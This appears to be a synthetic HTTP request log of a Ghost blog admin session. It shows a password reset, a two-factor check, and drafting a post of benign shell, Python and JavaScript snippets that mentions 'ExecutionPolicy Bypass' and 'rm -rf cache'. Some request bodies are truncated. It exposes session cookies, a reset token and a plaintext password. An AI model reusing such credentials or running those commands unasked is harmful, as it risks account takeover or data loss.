{"method": "GET", "target": "/ghost/assets/audience-CXSF0dEC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/url-helpers-mynMXAVw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-share-modal-If8BRdxt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/feature-image-placeholder-CS1tmsUg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "GET", "target": "/ghost/assets/signin-verify-Bf6SrUvA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/session/verify/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"token\":\"172997\"}"}
{"method": "GET", "target": "/ghost/api/admin/snippets/?limit=all&formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&fields=id%2Curl%2Ctitle%2Cvisibility%2Cpublished_at&order=published_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-filesa-short-guide-for-site-owners-powershell-python3-and-the-shell-getting-started-run-ls-la-in-your-web-root-then-open-the-htaccess-guide-on-windows-use-powershell-instead-its-the-same-idea-a-small-script-usr-bin-env-python3-import-os-subprocess-for-name-in-sorted-os-listdir-print-name-subprocess-run-ls-la-var-www-html-check-true-cat-etc-hosts-grep-example-ls-la-var-www-html-htaccess-chmod-644-htaccess-mysql-e-select-id-title-from-posts-where-status-published-order-by-id-desc-limit-5-document-queryselectorall-a-foreach-a-gt-console-log-a-href-window-onload-gt-alert-ready-keep-your-htaccess-small-said-one-reader-and-python3-agrees-python3-m-venv-venv-amp-amp-source-venv-bin-activatepowershell-executionpolicy-bypass-file-build-ps1edit-etc-nginx-sites-available-default-then-reload-back-up-wp-config-php-and-envrun-rm-rf-cache-questions-email-help-example-com-or-see-the-search-page/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-files/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 509", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=all&include=count.active_members", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?filter=&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af45887d281b00001a59965/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 511", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af458a5d281b00001a59969/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 339", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCPTDGrlBBdJzmvpK", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryCPTDGrlBBdJzmvpK\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n------WebKitFormBoundaryCPTDGrlBBdJzmvpK--\r\n"}
{"method": "GET", "target": "/content/images/2026/11/photo.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 6796", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8008", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
{"method": "GET", "target": "/ghost/assets/posts-route-h3vCXYi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/posts-list-screen-DaiQl198.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
